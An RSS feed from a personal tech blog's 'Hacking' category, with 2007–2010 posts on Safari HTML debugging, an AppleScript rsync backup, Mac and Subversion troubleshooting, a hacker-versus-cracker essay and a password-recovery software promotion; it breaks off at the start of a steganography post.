<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
		xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>Pragmatic Revelations &#187; Hacking</title>
	<atom:link href="http://adrianhoe.com/adrianhoe/category/call-me-a-geek/hacking/feed/" rel="self" type="application/rss+xml" />
	<link>http://adrianhoe.com/adrianhoe</link>
	<description>The Eccentric Logic of An Eclectic Mind</description>
	<lastBuildDate>Sun, 06 May 2012 15:21:31 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
	<copyright>Copyright &#xA9; Pragmatic Revelations 2011 </copyright>
	<managingEditor>mailbox@adrianhoe.com (Pragmatic Revelations)</managingEditor>
	<webMaster>mailbox@adrianhoe.com (Pragmatic Revelations)</webMaster>
	<ttl>28000</ttl>
	<image>
		<url>http://adrianhoe.com/adrianhoe/blog/wp-content/plugins/podpress/images/powered_by_podpress.jpg</url>
		<title>Pragmatic Revelations</title>
		<link>http://adrianhoe.com/adrianhoe</link>
		<width>144</width>
		<height>144</height>
	</image>
	<itunes:subtitle></itunes:subtitle>
	<itunes:summary>The Eccentric Logic of An Eclectic Mind</itunes:summary>
	<itunes:keywords></itunes:keywords>
	<itunes:category text="Society &#38; Culture" />
	<itunes:author>Pragmatic Revelations</itunes:author>
	<itunes:owner>
		<itunes:name>Pragmatic Revelations</itunes:name>
		<itunes:email>mailbox@adrianhoe.com</itunes:email>
	</itunes:owner>
	<itunes:block>no</itunes:block>
	<itunes:explicit>no</itunes:explicit>
	<itunes:image href="http://adrianhoe.com/adrianhoe/blog/wp-content/plugins/podpress/images/powered_by_podpress_large.jpg" />
		<item>
		<title>Catching HTML bugs with Safari 5</title>
		<link>http://adrianhoe.com/adrianhoe/2010/07/08/catching-html-bugs-with-safari-5/</link>
		<comments>http://adrianhoe.com/adrianhoe/2010/07/08/catching-html-bugs-with-safari-5/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 00:45:28 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[At Work]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Safari]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=2185</guid>
		<description><![CDATA[A bug in a seemingly harmless HTML code had been bugging me for almost 2 weeks. I was sort of yanking my hair while trying to trace the bug which messed up the HTML page. The debugging task was even harder because I work on a HTML template with an extension .THTML. The template does [...]]]></description>
			<content:encoded><![CDATA[<p>A bug in a seemingly harmless HTML code had been bugging me for almost 2 weeks. I was sort of yanking my hair while trying to trace the bug which messed up the HTML page. The debugging task was even harder because I work on a HTML template with an extension <strong>.THTML</strong>. The template does not only contain standard HTML but also tags which are only recognized by AWS (Ada Web Server) . This template file is parsed by the web application (I am developing), which has AWS library, before it is dispatched as raw HTML code to a browser.</p>
<p>In my design, I break down the HTML template into header, body and footer so that I can reuse the common codes in header and footer. That means, all the body templates are without <span style="font-family: Courier;">&lt;html&gt;</span> tag. This missing <span style="font-family: Courier;">&lt;html&gt;</span> tag disables the syntax-coloring feature of code editor, leading to a more laborious code reading.</p>
<p>Before this, I had gone through every line of html source code in the template file umpteen times. This &#8220;obscure&#8221; bug, if not removed, would throw a monkey wrench in my works. I browsed the Internet and read articles in hope that I would get some clues. So, I was reading a few articles about Extensions in Safari 5. Extensions are not really impressive to me as I do not need to add missing functionalities to my browser. Safari itself is more than enough for my daily browsing activities. Somehow, my curiosity had driven me to enable the <strong>Develop</strong> menu in Safari 5. After activating it, I noticed some debugging tools in the menu. I enabled the web inspector by selecting <strong>Show Web Inspector</strong> in the <strong>Develop</strong> menu (Figure 1) then navigated to the web page I wanted to debug. To use these debugging tools, the <strong>Develop</strong> menu must first be activated. <a href="http://adrianhoe.com/adrianhoe/2010/07/07/enable-develop-menu-in-safari-5/" target="_blank">Here</a> is a simple guide to enabling the menu.</p>
<div class="wp-caption aligncenter" style="width: 410px"><img title="Safari 5" src="http://adrianhoe.com/adrianhoe/images/blog/2010/safari-menu.png" alt="Safari 5" width="400" height="214" /><p class="wp-caption-text">Figure 1</p></div>
<p>Safari 5 immediately detected two error messages as shown in Figure 2. These two errors were easily corrected. After removing these unmatched <span style="font-family: Courier;">&lt;/div&gt;</span> tags, my web page still did not show up properly with the intended layout.</p>
<div class="wp-caption alignnone" style="width: 510px"><img title="Safari 5 Show Web Inspector" src="http://adrianhoe.com/adrianhoe/images/blog/2010/safari-web-inspect1.png" alt="Safari 5 Show Web Inspector" width="500" height="215" /><p class="wp-caption-text">Figure 2</p></div>
<p>Then I selected the <strong>Elements</strong> tab and it showed me the page source in debugging mode as shown in Figure 3. I instantly spotted the <span style="font-family: Courier;">&lt;div class=&#8221;data-base-layer&#8221;&gt;</span> tag which was supposed to be in the <span style="font-family: Courier;">&lt;div id=&#8221;container&#8221;&gt;</span> tag.</p>
<div class="wp-caption alignnone" style="width: 510px"><img title="Safari 5 Show Web Inspector" src="http://adrianhoe.com/adrianhoe/images/blog/2010/safari-web-inspect2.png" alt="Safari 5 Show Web Inspector" width="500" height="182" /><p class="wp-caption-text">Figure 3</p></div>
<p>I clicked on the little grey triangles in the left pane to expand the <span style="font-family: Courier;">&lt;div id=&#8221;container&#8221;&gt;</span> tag and the <span style="font-family: Courier;">&lt;form&gt;</span> tag. There were two <span style="font-family: Courier;">&lt;div class=&#8221;data-base-layer&#8221;&gt;</span> tags (labelled as &#8220;1&#8243; in Figure 4) and the one in label &#8220;2&#8243; was supposed to be right after them.</p>
<div class="wp-caption alignnone" style="width: 510px"><img title="Safari 5 Show Web Inspector" src="http://adrianhoe.com/adrianhoe/images/blog/2010/safari-web-inspect3.png" alt="Safari 5 Show Web Inspector" width="500" height="225" /><p class="wp-caption-text">Figure 4</p></div>
<p>I checked the source file again and they seemed to be in the correct place. Further investigation finally reviewed that there were two very tiny typos lurking somewhere within the second <span style="font-family: Courier;">&lt;div class=&#8221;data-base-layer&#8221;&gt;</span> tag as shown in Figure 5.</p>
<div class="wp-caption alignnone" style="width: 510px"><img title="Safari 5 Show Web Inspector" src="http://adrianhoe.com/adrianhoe/images/blog/2010/safari-web-inspect4.png" alt="Safari 5 Show Web Inspector" width="500" height="343" /><p class="wp-caption-text">Figure 5</p></div>
<p>The web inspector in Safari 5 has helped me to identify errors effortlessly. If only I had such inquisitiveness two weeks ago, I would have saved so much time and efforts in debugging my HTML codes. An proverb says: &#8220;Curiosity killed the cat.&#8221; It is not always true, at least in this case. I will say: &#8220;Curiosity saved the donkey.&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2010/07/08/catching-html-bugs-with-safari-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Backup your Mac with AppleScript</title>
		<link>http://adrianhoe.com/adrianhoe/2009/04/17/backup-your-mac-with-applescript/</link>
		<comments>http://adrianhoe.com/adrianhoe/2009/04/17/backup-your-mac-with-applescript/#comments</comments>
		<pubDate>Fri, 17 Apr 2009 15:45:50 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[AppleScript]]></category>
		<category><![CDATA[At Home]]></category>
		<category><![CDATA[At Work]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[rsync]]></category>
		<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=1688</guid>
		<description><![CDATA[All programmers are lazy. They want to automate tasks as much as they can. Because of this uniquely great habit, they have developed countless of useful software. Ok. I am lazy. I have been using rsync to sync folders I am working on between my Macs. I have been using command line scripts in Terminal for [...]]]></description>
			<content:encoded><![CDATA[<p>All programmers are lazy. They want to automate tasks as much as they can. Because of this uniquely great habit, they have developed countless of useful software.</p>
<p>Ok. I am lazy. I have been using <span style="font-family:Courier;">rsync</span> to sync folders I am working on between my Macs. I have been using command line scripts in Terminal for almost two years and finally I have gotten lazy over the task.</p>
<p>The thing is, I need to execute the scripts in Terminal every time I want to synch my folders. Of course, I could simply use <span style="font-family:Courier;">cron</span> to automate the tasks at specific time but I ran the risk to cause havoc between the folders on different Macs. It is best not to <span style="font-family:Courier;">cron</span> the task.</p>
<p>So, I learned up AppleScript and after a ten-minute hack, I wrote a nice AppleScripts to do the job. It is quick and dirty.</p>
<pre><code>set debug to false

with timeout of (30 * 60) seconds
	tell application "Terminal"
		set Window_Title to "Sync Documents"
		set Rsync_Cmd to "rsync -acrtv --delete
			/Users/username/Documents/
			username@xxx:Documents"
		set output_doc to do shell script Rsync_Cmd
		choose from list paragraphs of output_doc with prompt
			"Result:" with title Window_Title with empty
			selection allowed
	end tell
end timeout
</code></pre>
<p>Copy the script to <span style="font-family:Courier;">~/Library/Scripts/Applications/Finder</span> and save it as &#8220;sync documents.scpt&#8221;. Then launch Script Editor to edit <span style="font-family:Courier;">username</span> to your login name and <span style="font-family:Courier;">xxx</span> to your Mac IP address or computer name. This script will sync your Documents folder under your user home directory. To execute this AppleScript, at Finder, click on the script icon on the menu bar and select the script to launch.</p>
<p><span style="font-family:Courier;">rsync</span> uses <span style="font-family:Courier;">ssh</span>. If you have not setup a password-less ssh login, you will need <span style="font-family:Courier;">ssh-askpass</span> in <span style="font-family:Courier;">/usr/libexec</span>. Unfortunately, it does not ship with Mac OS X. You can <a href="http://blogs.sun.com/mock/entry/and_now_chicken_of_the" target="_blank">get it</a> at Joe Mocker&#8217;s weblog.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2009/04/17/backup-your-mac-with-applescript/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>The new WordPress</title>
		<link>http://adrianhoe.com/adrianhoe/2009/03/05/the-new-wordpress/</link>
		<comments>http://adrianhoe.com/adrianhoe/2009/03/05/the-new-wordpress/#comments</comments>
		<pubDate>Thu, 05 Mar 2009 03:55:04 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[malicious]]></category>
		<category><![CDATA[malware]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=1526</guid>
		<description><![CDATA[Just finished upgrading WordPress to 2.7.1 with a totally new user interface. I still prefer the one in 2.6.x so I guess I need a little time to get use to the new UI. The upgrade is inevitable because some of my sites were affected by Yahoo! Counter  malicious malware. It is a nasty injection [...]]]></description>
			<content:encoded><![CDATA[<p>Just finished upgrading WordPress to 2.7.1 with a totally new user interface. I still prefer the one in 2.6.x so I guess I need a little time to get use to the new UI.</p>
<p>The upgrade is inevitable because some of my sites were affected by Yahoo! Counter  malicious malware. It is a nasty injection of script. I could not locate where it was injected and my web host wasn&#8217;t very helpful. I decided to upgrade, hopefully, to wipe out the code injection.</p>
<p>Now, I have to file a request to Google to clear the malware listing of my sites.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2009/03/05/the-new-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A good head start</title>
		<link>http://adrianhoe.com/adrianhoe/2009/01/01/a-good-head-start/</link>
		<comments>http://adrianhoe.com/adrianhoe/2009/01/01/a-good-head-start/#comments</comments>
		<pubDate>Thu, 01 Jan 2009 15:46:31 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[At Home]]></category>
		<category><![CDATA[At Work]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Holidays]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[iPod Touch]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=1397</guid>
		<description><![CDATA[Happy New Year 2009 buddies! It seems like a good head start for me. Everything I planned for today seems to be smooth sailing although I am having one problem which I do not know why it happens. I guess I will need to toy with it and/or hack it to learn why it isn&#8217;t [...]]]></description>
			<content:encoded><![CDATA[<p>Happy New Year 2009 buddies!</p>
<p>It seems like a good head start for me. Everything I planned for today seems to be smooth sailing although I am having one problem which I do not know why it happens. I guess I will need to toy with it and/or hack it to learn why it isn&#8217;t behaving as it supposed to be. If everything is running perfect before end of this month, I will acquire an iPod Touch to proceed further. This will be my first wish on this very first day of 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2009/01/01/a-good-head-start/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Finder hang in Leopard</title>
		<link>http://adrianhoe.com/adrianhoe/2008/10/23/finder-hang-in-leopard/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/10/23/finder-hang-in-leopard/#comments</comments>
		<pubDate>Thu, 23 Oct 2008 13:49:37 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[DivX]]></category>
		<category><![CDATA[Finder]]></category>
		<category><![CDATA[Leopard]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=1269</guid>
		<description><![CDATA[When I returned home this evening, LA told me her applications had hung. I checked and found not only that, the Finder was not responsive too. I had no choice but to power off and to restart the Mac Mini again. This had also affected my user account. The Finder had failed to launch after [...]]]></description>
			<content:encoded><![CDATA[<p>When I returned home this evening, LA told me her applications had hung. I checked and found not only that, the Finder was not responsive too. I had no choice but to power off and to restart the Mac Mini again. This had also affected my user account. The Finder had failed to launch after login and the Dock did not appear as well. But fortunately root user account was not badly affected.</p>
<p>I Googled and found some articles and solutions <a href="http://discussions.apple.com/thread.jspa?threadID=1197076&amp;tstart=0" target="_blank">here</a>, <a href="http://www.lildude.co.uk/finder-hang-after-leopard-upgrade/" target="_blank">here</a> and <a href="http://support.apple.com/kb/TS1545?viewlocale=en_US" target="_blank">here</a>. I exhausted all the methods and I did not have DivXNetworks and ApplicationEnhancer.bundle in the directories mentioned in these links. I decided to go my own way.</p>
<p>What I did was to delete everything that was related to DivX. Since I did not have DivXNetworks, so I removed DivX folders in &#8220;/Library/Application Support&#8221; and &#8220;~/Library/Application Support&#8221; and also the DivX programs in Applications.</p>
<p>After the deletion, Finder still could not launch properly. I launched Console.app to examine system logs and found some errors in cache files com.apple.LaunchedServices*. I removed everything with com.apple.LaunchedServices in /Library/Caches.</p>
<p>Viola! Everything is back to normal again. DivX is a third party enhancement software and is not very stable. It seems like DivX has messed up with the system caches and somehow prevented Finder to launch.</p>
<p>I have spent two and half hours mingling with this problem. I hope my experience will save some of your time if you have the same problem as mine. I am going to take my supper.</p>
<p>Good luck!</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/10/23/finder-hang-in-leopard/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Subversion client hangs after post-commit</title>
		<link>http://adrianhoe.com/adrianhoe/2008/06/09/subversion-client-hangs-after-post-commit/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/06/09/subversion-client-hangs-after-post-commit/#comments</comments>
		<pubDate>Mon, 09 Jun 2008 08:29:52 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[SCM]]></category>
		<category><![CDATA[Exim]]></category>
		<category><![CDATA[sendmail]]></category>
		<category><![CDATA[Subversion]]></category>
		<category><![CDATA[svn]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=749</guid>
		<description><![CDATA[I had been hit by this problem since I setup Subversion on Ubuntu in January. The svnserve was properly invoked on Ubuntu server but whenever any svn client was trying to commit something back to the server, the client would hang for hours before it prompted an error: &#8220;Connection reset by peers.&#8221; I searched all [...]]]></description>
			<content:encoded><![CDATA[<p>I had been hit by this problem since I setup Subversion on Ubuntu in <a href="http://adrianhoe.com/adrianhoe/2008/01/22/svn-setup/" target="_blank">January</a>. The <em>svnserve</em> was properly invoked on Ubuntu server but whenever any svn client was trying to commit something back to the server, the client would hang for hours before it prompted an error: &#8220;Connection reset by peers.&#8221;</p>
<p>I searched all the Subversion and Ubuntu forums but could not find any solution to my problem. In the past months, I tried to identify the source of the problem and even tried many solutions suggested by people on these forums but the problem persisted. I had been committing to svn server with post commit email notification turned off and lost quite a number of post commit message. I used to keep track of changes by these email notification.</p>
<p>Yesterdat, I was trying my luck again and I accidentally noticed <em>sendmail</em> and <em>sendmail-mta</em> were called after commit. A look into syslog confirmed that sendmail process was put into sleep by some unknown reason. Failing to identify the cause, I removed sendmail and related packages from my Ubuntu server and installed <em>Exim4</em>. It is claimed to be easier to installed and configured than sendmail. The problem diminished after I got exim4 up and running. Now I am able to receive post commit email notification after every svn commit. Every commit takes a few seconds to complete after this. Problem resolved.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/06/09/subversion-client-hangs-after-post-commit/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Hacker and Cracker</title>
		<link>http://adrianhoe.com/adrianhoe/2008/05/21/hacker-and-cracker/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/05/21/hacker-and-cracker/#comments</comments>
		<pubDate>Wed, 21 May 2008 08:57:08 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=725</guid>
		<description><![CDATA[I received an email from my sister, M. In her email, she pointed out I should not label myself as &#8220;hacker&#8221;. Well, I could not agree to her opinion so I decided to write this post entry to clear the name for all hackers. Many people have watched too much Hollywood movies and have developed [...]]]></description>
			<content:encoded><![CDATA[<p>I received an email from my sister, M. In her email, she pointed out I should not label myself as &#8220;hacker&#8221;. Well, I could not agree to her opinion so I decided to write this post entry to clear the name for all hackers.</p>
<p>Many people have watched too much Hollywood movies and have developed a perception that hackers are bad guys. They do not understand, nor can distinguish the difference between <em>Hacker</em> and <em>Cracker</em>.</p>
<p>Very well, Hacker and Cracker are like Good Sorcerer and Bad Sorcerer. Hackers are generally referring to a group of programmers or software engineers who dwell into codes of a computer system to find faults or loop holes so that the functionality, usually, security of the computer system can be improved. Hackers are also contributing to many open source device drivers to be used in open source software such as Linux. They study how a device communicates with a computer system without any documentation from the manufacturer (sometimes, some device manufacturers are reluctant to release technical information fearing their competitors may steal their secrets) and write codes to allow the device to communicate with the operating system.</p>
<p>Some hackers visit websites to look for security loop holes and put a file there to indicate their successful hack. Usually, they cause no disruption or damage but to alert system administrator of such security vulnerabilities. One of my website was hacked by hacker from Turkey last week. No damage or disruption caused but simply alerted me of security vulnerability. I quickly corrected the security flaw.</p>
<p>Hackers also study computer codes (binary or source) to learn about a computer software system so to rebuild another similar computer software system for the interest of know-how or to improve the software system. Instead of hacking, reverse engineering best described this type of activity.</p>
<p>Crackers, on the other hand, have the intention to harm or steal. They look for security vulnerabilities to get access into your computer system to cause disruption or steal your information for illicit purposes. Their ultimate goal is to cause damage or to gain something from you to be used for illicit activities, such as stealing your financial accounts or credit cards data for their financial gain.</p>
<p>There are many hacker organizations, for instance, <a href="http://blackhat.com" target="_blank">BlackHat</a>. It holds many international technical conferences and training around the world to improve information security.</p>
<p>Laypersons who do not understand the meaning of hacker generally think hacker is a bad guy. Being a hacker myself (sometimes), I just want to clear the name for hackers. And to show the good nature of a hacker, please read <a href="http://adrianhoe.com/adrianhoe/2006/10/21/wireless-email-security-compromised/" target="_blank">here</a> and <a href="http://adrianhoe.com/2006/10/22/secure-wireless-email-on-mac-os-x/" target="_blank">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/05/21/hacker-and-cracker/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>IP Flooding</title>
		<link>http://adrianhoe.com/adrianhoe/2008/01/22/ip-flooding/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/01/22/ip-flooding/#comments</comments>
		<pubDate>Tue, 22 Jan 2008 06:17:46 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[At Home]]></category>
		<category><![CDATA[At Work]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2008/01/22/ip-flooding/</guid>
		<description><![CDATA[I am experiencing IP flooding on my router. It notifies me by email about this attack. Right now, I have identified the source and hopefully I can nail this attacker soon. This is not the first time I experience IP flooding. I have received quite many email notifications in the past 3 weeks but I [...]]]></description>
			<content:encoded><![CDATA[<p>I am experiencing IP flooding on my router. It notifies me by email about this attack. Right now, I have identified the source and hopefully I can nail this attacker soon. This is not the first time I experience IP flooding. I have received quite many email notifications in the past 3 weeks but I was out. It is coincident that I am still at my computers solving some server problems.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/01/22/ip-flooding/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SVN setup</title>
		<link>http://adrianhoe.com/adrianhoe/2008/01/22/svn-setup/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/01/22/svn-setup/#comments</comments>
		<pubDate>Tue, 22 Jan 2008 03:53:16 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[At Home]]></category>
		<category><![CDATA[At Work]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[SCM]]></category>
		<category><![CDATA[Subversion]]></category>
		<category><![CDATA[svn]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2008/01/22/svn-setup/</guid>
		<description><![CDATA[I&#8217;ve finally found time to setup svn at my home net after so many months. My svn server was down when my previous Linux box was down with a dead hard disk last year. The setup was quite a brisk. I had everything installed and configured last night. The test for remote access using a [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve finally found time to setup svn at my home net after so many months. My svn server was down when my previous Linux box was down with a dead hard disk last year. The setup was quite a brisk. I had everything installed and configured last night. The test for remote access using a url was successful. I could import, checkout and check in. Because it was already late, about 1AM, I felt rather tire and went to bed.</p>
<p>This morning, I hacked some codes to provide a rather informative post commit email notification. All are done except the check in will stall. It takes a long time (and possibly hang!). I have yet to fully test before I begin my development project again.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/01/22/svn-setup/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Lost your password?</title>
		<link>http://adrianhoe.com/adrianhoe/2008/01/08/lost-your-password/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/01/08/lost-your-password/#comments</comments>
		<pubDate>Tue, 08 Jan 2008 15:39:12 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[Social]]></category>
		<category><![CDATA[Access]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[Excel]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[Word]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2008/01/08/lost-your-password/</guid>
		<description><![CDATA[There goes year-end and you need to prepare your new year budget. You retrieve an Excel budgeting file to work on. You have not been touching this file for a year and you encounter problem. You can&#8217;t remember the password to unlock the Excel file. You can&#8217;t recall where you have written down the password [...]]]></description>
			<content:encoded><![CDATA[<p>There goes year-end and you need to prepare your new year budget. You retrieve an Excel budgeting file to work on. You have not been touching this file for a year and you encounter problem. You can&#8217;t remember the password to unlock the Excel file. You can&#8217;t recall where you have written down the password either. You need to do the budgeting for first review in the board meeting tomorrow. What should you do?</p>
<p>You need a <a href="http://www.password-studio.com/" target="_blank">Excel password recovery</a> software. It is an easy to use software to unlock the password for Microsoft Word, Excel and Access. <a href="http://www.password-studio.com/" target="_blank">Password-Studio Pro</a> cracks the password from instantly to within minutes. It uses <em>Smart Dictionary</em> and <em>Bruteforce</em> hacking methods. With <em>Smart Dictionary</em>, it checks through 5.8 million common password combinations in a matter of minutes.</p>
<p><a href="http://www.password-studio.com/" target="_blank">Password-Studio Pro</a> cracks your password as easy as 1-2-3. First, start the wizard. Second, select an attacking method. Third, reap your rewards.<img src="http://tinyurl.com/2cutwq" /></p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/01/08/lost-your-password/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Steganography and Information Security</title>
		<link>http://adrianhoe.com/adrianhoe/2007/12/11/steganography-and-information-security/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/12/11/steganography-and-information-security/#comments</comments>
		<pubDate>Tue, 11 Dec 2007 10:19:02 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Information Forensics]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[beowulf]]></category>
		<category><![CDATA[data]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[information]]></category>
		<category><![CDATA[isp]]></category>
		<category><![CDATA[post 25]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[smtp]]></category>
		<category><![CDATA[steganography]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/12/11/steganography-and-information-security/</guid>
